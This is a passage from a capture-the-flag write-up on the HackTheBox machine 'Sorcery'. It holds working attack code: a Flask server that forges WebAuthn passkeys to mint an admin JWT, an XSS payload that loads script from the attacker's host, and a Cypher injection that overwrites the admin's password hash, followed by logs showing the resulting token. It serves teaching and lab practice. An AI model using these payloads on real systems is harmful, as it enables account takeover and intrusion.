            <span class="sh">'</span><span class="s">clientDataJSON</span><span class="sh">'</span><span class="p">:</span> <span class="nf">b64url_encode</span><span class="p">(</span><span class="n">client_data</span><span class="p">),</span>
            <span class="sh">'</span><span class="s">transports</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
        <span class="p">},</span>
        <span class="sh">'</span><span class="s">clientExtensionResults</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
        <span class="sh">'</span><span class="s">authenticatorAttachment</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">cross-platform</span><span class="sh">'</span><span class="p">,</span>
    <span class="p">})</span>

<span class="nd">@app.route</span><span class="p">(</span><span class="sh">'</span><span class="s">/sign</span><span class="sh">'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="sh">'</span><span class="s">POST</span><span class="sh">'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">sign</span><span class="p">():</span>
    <span class="k">if</span> <span class="n">private_key</span> <span class="ow">is</span> <span class="bp">None</span> <span class="ow">or</span> <span class="n">cred_id</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
        <span class="k">return</span> <span class="sh">'</span><span class="s">No credential registered yet</span><span class="sh">'</span><span class="p">,</span> <span class="mi">400</span>

    <span class="n">challenge_b64</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">json</span><span class="p">[</span><span class="sh">'</span><span class="s">challenge</span><span class="sh">'</span><span class="p">]</span>
    <span class="n">rp_id</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">json</span><span class="p">[</span><span class="sh">'</span><span class="s">rpId</span><span class="sh">'</span><span class="p">]</span>

    <span class="n">client_data</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">({</span>
        <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">webauthn.get</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">challenge</span><span class="sh">'</span><span class="p">:</span> <span class="n">challenge_b64</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">origin</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">https://sorcery.htb</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">crossOrigin</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
    <span class="p">},</span> <span class="n">separators</span><span class="o">=</span><span class="p">(</span><span class="sh">'</span><span class="s">,</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">:</span><span class="sh">'</span><span class="p">)).</span><span class="nf">encode</span><span class="p">()</span>

    <span class="n">rp_hash</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="nf">sha256</span><span class="p">(</span><span class="n">rp_id</span><span class="p">.</span><span class="nf">encode</span><span class="p">()).</span><span class="nf">digest</span><span class="p">()</span>
    <span class="n">flags</span> <span class="o">=</span> <span class="sa">b</span><span class="sh">'</span><span class="se">\x05</span><span class="sh">'</span>  <span class="c1"># UP + UV
</span>    <span class="n">counter</span> <span class="o">=</span> <span class="p">(</span><span class="mi">1</span><span class="p">).</span><span class="nf">to_bytes</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="sh">'</span><span class="s">big</span><span class="sh">'</span><span class="p">)</span>
    <span class="n">auth_data</span> <span class="o">=</span> <span class="n">rp_hash</span> <span class="o">+</span> <span class="n">flags</span> <span class="o">+</span> <span class="n">counter</span>

    <span class="n">client_data_hash</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="nf">sha256</span><span class="p">(</span><span class="n">client_data</span><span class="p">).</span><span class="nf">digest</span><span class="p">()</span>
    <span class="n">sig_input</span> <span class="o">=</span> <span class="n">auth_data</span> <span class="o">+</span> <span class="n">client_data_hash</span>
    <span class="n">signature</span> <span class="o">=</span> <span class="n">private_key</span><span class="p">.</span><span class="nf">sign</span><span class="p">(</span><span class="n">sig_input</span><span class="p">,</span> <span class="nc">ECDSA</span><span class="p">(</span><span class="nc">SHA256</span><span class="p">()))</span>

    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] Signed authentication challenge for </span><span class="si">{</span><span class="n">rp_id</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

    <span class="k">return</span> <span class="nf">jsonify</span><span class="p">({</span>
        <span class="sh">'</span><span class="s">id</span><span class="sh">'</span><span class="p">:</span> <span class="nf">b64url_encode</span><span class="p">(</span><span class="n">cred_id</span><span class="p">),</span>
        <span class="sh">'</span><span class="s">rawId</span><span class="sh">'</span><span class="p">:</span> <span class="nf">b64url_encode</span><span class="p">(</span><span class="n">cred_id</span><span class="p">),</span>
        <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">public-key</span><span class="sh">'</span><span class="p">,</span>
        <span class="sh">'</span><span class="s">authenticatorData</span><span class="sh">'</span><span class="p">:</span> <span class="nf">b64url_encode</span><span class="p">(</span><span class="n">auth_data</span><span class="p">),</span>
        <span class="sh">'</span><span class="s">clientDataJSON</span><span class="sh">'</span><span class="p">:</span> <span class="nf">b64url_encode</span><span class="p">(</span><span class="n">client_data</span><span class="p">),</span>
        <span class="sh">'</span><span class="s">signature</span><span class="sh">'</span><span class="p">:</span> <span class="nf">b64url_encode</span><span class="p">(</span><span class="n">signature</span><span class="p">),</span>
        <span class="sh">'</span><span class="s">userHandle</span><span class="sh">'</span><span class="p">:</span> <span class="sh">''</span><span class="p">,</span>
    <span class="p">})</span>

<span class="nd">@app.route</span><span class="p">(</span><span class="sh">'</span><span class="s">/done</span><span class="sh">'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">done</span><span class="p">():</span>
    <span class="k">if</span> <span class="n">private_key</span> <span class="ow">is</span> <span class="bp">None</span> <span class="ow">or</span> <span class="n">cred_id</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">'</span><span class="s">[-] No credential registered yet</span><span class="sh">'</span><span class="p">)</span>
        <span class="k">return</span> <span class="sh">''</span><span class="p">,</span> <span class="mi">404</span>

    <span class="n">username</span> <span class="o">=</span> <span class="sh">'</span><span class="s">admin</span><span class="sh">'</span>
    <span class="n">base</span> <span class="o">=</span> <span class="sh">'</span><span class="s">https://sorcery.htb</span><span class="sh">'</span>
    <span class="n">start_id</span> <span class="o">=</span> <span class="sh">'</span><span class="s">1efff30d879f3aea7d899128311edf11046f4a10</span><span class="sh">'</span>
    <span class="n">finish_id</span> <span class="o">=</span> <span class="sh">'</span><span class="s">5aa9f80bc40bd5a48cfafdb9fff8913dfa09619f</span><span class="sh">'</span>

    <span class="k">try</span><span class="p">:</span>
        <span class="c1"># Step 1: startAuthentication
</span>        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">'</span><span class="s">[*] Starting passkey auth for </span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">base</span><span class="si">}</span><span class="s">/auth/passkey</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">data</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">([</span><span class="n">username</span><span class="p">]),</span>
            <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="sh">'</span><span class="s">Next-Action</span><span class="sh">'</span><span class="p">:</span> <span class="n">start_id</span><span class="p">,</span> <span class="sh">'</span><span class="s">Content-Type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">text/plain;charset=UTF-8</span><span class="sh">'</span><span class="p">},</span>
            <span class="n">verify</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">'</span><span class="s">[*] startAuthentication response (</span><span class="si">{</span><span class="n">r</span><span class="p">.</span><span class="n">status_code</span><span class="si">}</span><span class="s">):</span><span class="se">\n</span><span class="si">{</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="si">}</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">challenge_data</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="nf">loads</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="se">\n</span><span class="sh">'</span><span class="p">)[</span><span class="mi">1</span><span class="p">][</span><span class="mi">2</span><span class="p">:])[</span><span class="sh">'</span><span class="s">result</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">challenge</span><span class="sh">'</span><span class="p">]</span>
        <span class="n">challenge_b64</span> <span class="o">=</span> <span class="n">challenge_data</span><span class="p">[</span><span class="sh">'</span><span class="s">publicKey</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">challenge</span><span class="sh">'</span><span class="p">]</span>
        <span class="n">rp_id</span> <span class="o">=</span> <span class="n">challenge_data</span><span class="p">[</span><span class="sh">'</span><span class="s">publicKey</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">rpId</span><span class="sh">'</span><span class="p">]</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">'</span><span class="s">[+] Got challenge for rpId=</span><span class="si">{</span><span class="n">rp_id</span><span class="si">}</span><span class="sh">'</span><span class="p">)</span>

        <span class="c1"># Step 2: Sign the challenge
</span>        <span class="n">client_data</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">({</span>
            <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">webauthn.get</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">challenge</span><span class="sh">'</span><span class="p">:</span> <span class="n">challenge_b64</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">origin</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">https://sorcery.htb</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">crossOrigin</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
        <span class="p">},</span> <span class="n">separators</span><span class="o">=</span><span class="p">(</span><span class="sh">'</span><span class="s">,</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">:</span><span class="sh">'</span><span class="p">)).</span><span class="nf">encode</span><span class="p">()</span>

        <span class="n">rp_hash</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="nf">sha256</span><span class="p">(</span><span class="n">rp_id</span><span class="p">.</span><span class="nf">encode</span><span class="p">()).</span><span class="nf">digest</span><span class="p">()</span>
        <span class="n">auth_data</span> <span class="o">=</span> <span class="n">rp_hash</span> <span class="o">+</span> <span class="sa">b</span><span class="sh">'</span><span class="se">\x05</span><span class="sh">'</span> <span class="o">+</span> <span class="p">(</span><span class="mi">1</span><span class="p">).</span><span class="nf">to_bytes</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="sh">'</span><span class="s">big</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">sig_input</span> <span class="o">=</span> <span class="n">auth_data</span> <span class="o">+</span> <span class="n">hashlib</span><span class="p">.</span><span class="nf">sha256</span><span class="p">(</span><span class="n">client_data</span><span class="p">).</span><span class="nf">digest</span><span class="p">()</span>
        <span class="n">signature</span> <span class="o">=</span> <span class="n">private_key</span><span class="p">.</span><span class="nf">sign</span><span class="p">(</span><span class="n">sig_input</span><span class="p">,</span> <span class="nc">ECDSA</span><span class="p">(</span><span class="nc">SHA256</span><span class="p">()))</span>

        <span class="n">credential</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">id</span><span class="sh">'</span><span class="p">:</span> <span class="nf">b64url_encode</span><span class="p">(</span><span class="n">cred_id</span><span class="p">),</span>
            <span class="sh">'</span><span class="s">rawId</span><span class="sh">'</span><span class="p">:</span> <span class="nf">b64url_encode</span><span class="p">(</span><span class="n">cred_id</span><span class="p">),</span>
            <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">public-key</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">response</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">authenticatorData</span><span class="sh">'</span><span class="p">:</span> <span class="nf">b64url_encode</span><span class="p">(</span><span class="n">auth_data</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">clientDataJSON</span><span class="sh">'</span><span class="p">:</span> <span class="nf">b64url_encode</span><span class="p">(</span><span class="n">client_data</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">signature</span><span class="sh">'</span><span class="p">:</span> <span class="nf">b64url_encode</span><span class="p">(</span><span class="n">signature</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">userHandle</span><span class="sh">'</span><span class="p">:</span> <span class="sh">''</span><span class="p">,</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">clientExtensionResults</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">authenticatorAttachment</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">cross-platform</span><span class="sh">'</span><span class="p">,</span>
        <span class="p">}</span>

        <span class="c1"># Step 3: finishAuthentication
</span>        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">base</span><span class="si">}</span><span class="s">/auth/passkey</span><span class="sh">'</span><span class="p">,</span>
            <span class="n">data</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">([</span><span class="n">username</span><span class="p">,</span> <span class="n">credential</span><span class="p">]),</span>
            <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="sh">'</span><span class="s">Next-Action</span><span class="sh">'</span><span class="p">:</span> <span class="n">finish_id</span><span class="p">,</span> <span class="sh">'</span><span class="s">Content-Type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">text/plain;charset=UTF-8</span><span class="sh">'</span><span class="p">},</span>
            <span class="n">verify</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">'</span><span class="s">[*] finishAuthentication response (</span><span class="si">{</span><span class="n">r</span><span class="p">.</span><span class="n">status_code</span><span class="si">}</span><span class="s">):</span><span class="se">\n</span><span class="si">{</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="si">}</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">token_data</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="nf">loads</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">.</span><span class="nf">split</span><span class="p">(</span><span class="sh">'</span><span class="se">\n</span><span class="sh">'</span><span class="p">)[</span><span class="mi">1</span><span class="p">][</span><span class="mi">2</span><span class="p">:])</span>
        <span class="n">token</span> <span class="o">=</span> <span class="n">token_data</span><span class="p">[</span><span class="sh">'</span><span class="s">result</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">token</span><span class="sh">'</span><span class="p">]</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">'</span><span class="se">\n</span><span class="s">[+] ADMIN JWT:</span><span class="se">\n</span><span class="si">{</span><span class="n">token</span><span class="si">}</span><span class="se">\n</span><span class="sh">'</span><span class="p">)</span>

    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">'</span><span class="s">[-] Login failed: </span><span class="si">{</span><span class="n">e</span><span class="si">}</span><span class="sh">'</span><span class="p">)</span>

    <span class="k">return</span> <span class="sh">''</span><span class="p">,</span> <span class="mi">404</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">'</span><span class="s">__main__</span><span class="sh">'</span><span class="p">:</span>
    <span class="n">app</span><span class="p">.</span><span class="nf">run</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="sh">'</span><span class="s">0.0.0.0</span><span class="sh">'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">80</span><span class="p">)</span>
</code></pre></div></div>

<p>This server took a lot of work and assists from Claude.</p>

<p>A few details that took some iteration to get right:</p>

<ul>
  <li>
    <table>
      <tbody>
        <tr>
          <td>The flags byte in the registration <code class="language-plaintext highlighter-rouge">authData</code> is <code class="language-plaintext highlighter-rouge">\x45</code> (UP</td>
          <td>UV</td>
          <td>AT = <code class="language-plaintext highlighter-rouge">0x01 | 0x04 | 0x40</code>), not <code class="language-plaintext highlighter-rouge">\x41</code>. The backend’s <code class="language-plaintext highlighter-rouge">webauthn_rs</code> requires user verification for passkey registration (<code class="language-plaintext highlighter-rouge">userVerification: "required"</code> in the challenge options), so the UV bit must be set.</td>
        </tr>
      </tbody>
    </table>
  </li>
  <li>The credential returned by <code class="language-plaintext highlighter-rouge">/solve</code> must nest <code class="language-plaintext highlighter-rouge">attestationObject</code> and <code class="language-plaintext highlighter-rouge">clientDataJSON</code> under a <code class="language-plaintext highlighter-rouge">response</code> object to match the <code class="language-plaintext highlighter-rouge">RegistrationResponseJSON</code> format. Returning them at the top level silently fails on deserialization.</li>
  <li>The <code class="language-plaintext highlighter-rouge">clientDataJSON</code> for both registration and authentication sets <code class="language-plaintext highlighter-rouge">origin</code> to <code class="language-plaintext highlighter-rouge">https://sorcery.htb</code>, matching the backend’s configured <code class="language-plaintext highlighter-rouge">rp_origin</code>. The bot’s actual page origin (<code class="language-plaintext highlighter-rouge">http://frontend:3000</code>) doesn’t matter since we’re building <code class="language-plaintext highlighter-rouge">clientDataJSON</code> on our server, not in the browser.</li>
  <li>CORS headers are required on the Flask server because the XSS’s <code class="language-plaintext highlighter-rouge">fetch</code> to <code class="language-plaintext highlighter-rouge">/solve</code> is cross-origin (page on <code class="language-plaintext highlighter-rouge">http://frontend:3000</code>, server on <code class="language-plaintext highlighter-rouge">http://10.10.14.61</code>).</li>
</ul>

<p>The <code class="language-plaintext highlighter-rouge">/done</code> endpoint does double duty as the XSS completion beacon AND the login trigger. When the bot’s XSS hits <code class="language-plaintext highlighter-rouge">GET /done</code>, the Flask server immediately calls <code class="language-plaintext highlighter-rouge">startAuthentication("admin")</code> and <code class="language-plaintext highlighter-rouge">finishAuthentication("admin", credential)</code> via the same Next.js server action mechanism using <code class="language-plaintext highlighter-rouge">requests</code>, signing the authentication challenge with the private key it generated during <code class="language-plaintext highlighter-rouge">/solve</code>. The passkey authentication action IDs (<code class="language-plaintext highlighter-rouge">1efff30d879f3aea7d899128311edf11046f4a10</code> and <code class="language-plaintext highlighter-rouge">5aa9f80bc40bd5a48cfafdb9fff8913dfa09619f</code>) were discovered the same way as the registration ones, by observing a passkey login in Burp Proxy.</p>

<p>With all of that in place, I’ll trigger the flow by creating a new product with the following description:</p>

<div class="language-html wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">http://10.10.14.61/x.jpg</span> <span class="na">onerror=</span><span class="s">"var s=document.createElement('script');s.src='http://10.10.14.61/passkey.js';document.head.appendChild(s)"</span><span class="nt">&gt;</span>
</code></pre></div></div>

<p>After submitting the product as a Seller, the server log shows the full flow:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run pk_server.py
<span class="go"> * Serving Flask app 'pk_server'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:80
 * Running on http://192.168.1.251:80
Press CTRL+C to quit
10.129.25.147 - - [19/Apr/2026 09:22:04] "GET /x.jpg HTTP/1.1" 404 -
10.129.25.147 - - [19/Apr/2026 09:22:04] "GET /passkey.js HTTP/1.1" 200 -
10.129.25.147 - - [19/Apr/2026 09:22:04] "OPTIONS /solve HTTP/1.1" 200 -
[+] Credential ID: X1clb0t5Fszggz772wsRjQL4A7LDnkaSsH9SJnH7LRk
[+] RP ID: sorcery.htb
[+] Private Key (PEM):
-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgrhRINJ1f4/bWOLFU
Ia/Up80DgeAFTv92vGwZR3Df5nehRANCAATqYPzsvjDLfHPHR7WD7BRmGT8agzkL
CmLtfP3q9V2LecNqxcSvT1o4Nzhp7F6fu38JhfYAIch1SYaRCQ7RH8Kj
-----END PRIVATE KEY-----

10.129.25.147 - - [19/Apr/2026 09:22:04] "POST /solve HTTP/1.1" 200 -
[*] Starting passkey auth for admin
/home/oxdf/.cache/uv/environments-v2/pk-server-4b734f7577009798/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'sorcery.htb'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
  warnings.warn(
[*] startAuthentication response (200):
0:["$@1",["eMXTkHuLPViqV0QpNTSCV",null]]
1:{"result":{"challenge":{"publicKey":{"challenge":"d_ybtZ1DbW-NFXKgTLK2qdMnvO784THbGfsK1wMdOCw","timeout":300000,"rpId":"sorcery.htb","allowCredentials":[{"type":"public-key","id":"X1clb0t5Fszggz772wsRjQL4A7LDnkaSsH9SJnH7LRk"}],"userVerification":"required"}}}}

[+] Got challenge for rpId=sorcery.htb
/home/oxdf/.cache/uv/environments-v2/pk-server-4b734f7577009798/lib/python3.13/site-packages/urllib3/connectionpool.py:1097: InsecureRequestWarning: Unverified HTTPS request is being made to host 'sorcery.htb'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings
  warnings.warn(
[*] finishAuthentication response (200):
0:["$@1",["eMXTkHuLPViqV0QpNTSCV",null]]
1:{"result":{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjJkOWYwZDllLTA5MzUtNDlmMy1hZmNkLTI5YWJkMzQyNzAxMSIsInVzZXJuYW1lIjoiYWRtaW4iLCJwcml2aWxlZ2VMZXZlbCI6Miwid2l0aFBhc3NrZXkiOnRydWUsIm9ubHlGb3JQYXRocyI6bnVsbCwiZXhwIjoxNzc2NDc4OTE4fQ.dIsxYFvIf4FO2IXQmBI9U8U7VvZGJCcmJAERz3iiPvQ"}}


[+] ADMIN JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjJkOWYwZDllLTA5MzUtNDlmMy1hZmNkLTI5YWJkMzQyNzAxMSIsInVzZXJuYW1lIjoiYWRtaW4iLCJwcml2aWxlZ2VMZXZlbCI6Miwid2l0aFBhc3NrZXkiOnRydWUsIm9ubHlGb3JQYXRocyI6bnVsbCwiZXhwIjoxNzc2NDc4OTE4fQ.dIsxYFvIf4FO2IXQmBI9U8U7VvZGJCcmJAERz3iiPvQ

10.129.25.147 - - [19/Apr/2026 09:22:04]
</span></code></pre></div></div>

<p>Setting that JWT as the <code class="language-plaintext highlighter-rouge">token</code> cookie on <code class="language-plaintext highlighter-rouge">sorcery.htb</code> provides a session as admin:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416222818340.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416222818340.png" alt="image-20260416222818340" class="include_image " />
</picture>

<h3 id="shortcut-to-admin">Shortcut to Admin</h3>

<h4 id="shortcut">Shortcut</h4>

<p>There’s a much simpler path that skips the Seller and the XSS entirely, which I initially took when solving:</p>

<pre><code class="language-mermaid">flowchart TD;
    subgraph identifier[" "]
      direction LR
      start1[ ] ---&gt;|intended| stop1[ ]
      style start1 height:0px;
      style stop1 height:0px;
      start2[ ] ---&gt;|unintended| stop2[ ]
      style start2 height:0px;
      style stop2 height:0px;
    end
    A[Cypher Injection]--&gt;B(&lt;a href='#read-registration-key'&gt;Read Registration Key&lt;/a&gt;);
    B--&gt;C(&lt;a href='#register-as-seller'&gt;Register as Seller&lt;/a&gt;);
    C--&gt;D(&lt;a href='#xss-local-poc'&gt;XSS&lt;/a&gt;);
    D--&gt;E(&lt;a href='#xss-register-passkey'&gt;Create admin Passkey&lt;/a&gt;);
    E--&gt;F[Access as admin];
    A--&gt;G(&lt;a href='#password-hash-overwrite'&gt;Change admin Password&lt;/a&gt;);
    G--&gt;F;

linkStyle default stroke-width:2px,stroke:#4B9CD3,fill:none;
linkStyle 0,2,3,4,5,6 stroke-width:2px,stroke:#FFFF99,fill:none;
style identifier fill:#1d1d1d,color:#FFFFFFFF;
</code></pre>

<h4 id="password-hash-overwrite">Password Hash Overwrite</h4>

<p>I’ll create an argon2 hash using Python:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run <span class="nt">--with</span> argon2-cffi python3 <span class="nt">-c</span> <span class="s2">"from argon2 import PasswordHasher; print(PasswordHasher().hash('0xdf0xdf'))"</span>
<span class="go">$argon2id$v=19$m=65536,t=3,p=4$ZUP5b+TWW4WvhSmIz5aCNg$dbpp0ZmZHXXL5sLNAmJFhNUEIqx/iJupxP1reWz+WlM
</span></code></pre></div></div>

<p>Now I’ll use this injection to set the admin user’s <code class="language-plaintext highlighter-rouge">password</code> field:</p>

<div class="language-plaintext wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;real UUID&gt;"}) MATCH (u: User { username: "admin" }) SET u.password = "$argon2id$v=19$m=65536,t=3,p=4$ZUP5b+TWW4WvhSmIz5aCNg$dbpp0ZmZHXXL5sLNAmJFhNUEIqx/iJupxP1reWz+WlM" RETURN { id: "x", name: "done", description: "password changed", is_authorized: true, created_by_id: "x" } AS result //
</code></pre></div></div>

<p>On the server that becomes:</p>

<div class="language-cypher wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">MATCH</span><span class="w"> </span><span class="ss">(</span><span class="py">result:</span> <span class="n">Product</span> <span class="ss">{</span> <span class="py">id:</span> <span class="s2">"&lt;real UUID&gt;"</span><span class="ss">})</span> <span class="k">MATCH</span><span class="w"> </span><span class="ss">(</span><span class="py">u:</span> <span class="n">User</span> <span class="ss">{</span> <span class="py">username:</span> <span class="s2">"admin"</span> <span class="ss">})</span> <span class="k">SET</span> <span class="n">u.password</span> <span class="o">=</span> <span class="s2">"$argon2id$v=19$m=65536,t=3,p=4$ZUP5b+TWW4WvhSmIz5aCNg$dbpp0ZmZHXXL5sLNAmJFhNUEIqx/iJupxP1reWz+WlM"</span> <span class="k">RETURN</span> <span class="ss">{</span> <span class="py">id:</span> <span class="s2">"x"</span><span class="ss">,</span> <span class="py">name:</span> <span class="s2">"done"</span><span class="ss">,</span> <span class="py">description:</span> <span class="s2">"password changed"</span><span class="ss">,</span> <span class="py">is_authorized:</span> <span class="k">true</span><span class="ss">,</span> <span class="py">created_by_id:</span> <span class="s2">"x"</span> <span class="ss">}</span> <span class="k">AS</span> <span class="n">result</span> <span class="c1">//" }) RETURN result</span>
</code></pre></div></div>

<p>On injecting, the page indicates success:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416225322032.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260416225322032.png" alt="image-20260416225322032" class="include_image " />
</picture>

<p>And I can login as admin using the new password, “0xdf0xdf”.</p>

<h2 id="shell-as-userdns">Shell as user@dns</h2>

<h3 id="enumeration">Enumeration</h3>

<h4 id="passkey-1">Passkey</h4>

<p>As admin, I have access to three new links on the menu bar:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260417173843430.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260417173843430.png" alt="image-20260417173843430" class="include_image " />
</picture>

<p>As I noted during the source code review, each of them requires admin to be logged in via passkey to access. If I used the intended path that’s already true, but if I changed the admin’s password, it will show:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260417173924685.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260417173924685.png" alt="image-20260417173924685" class="include_image " />
</picture>

<p>I can use the Chrome dev tools WebAuthn feature to add a passkey and use it to log in.</p>

<h4 id="dns-1">DNS</h4>

<p>The DNS panel offers a list of DNS resolutions:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260417174105367.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260417174105367.png" alt="image-20260417174105367" class="include_image " />
</picture>

<p>As the source code showed, clicking “Force Records Re-fetch” will…</p>

<h4 id="debug">Debug</h4>

<p>Debug offers a service to send raw data to a specific host / port:</p>

<picture>
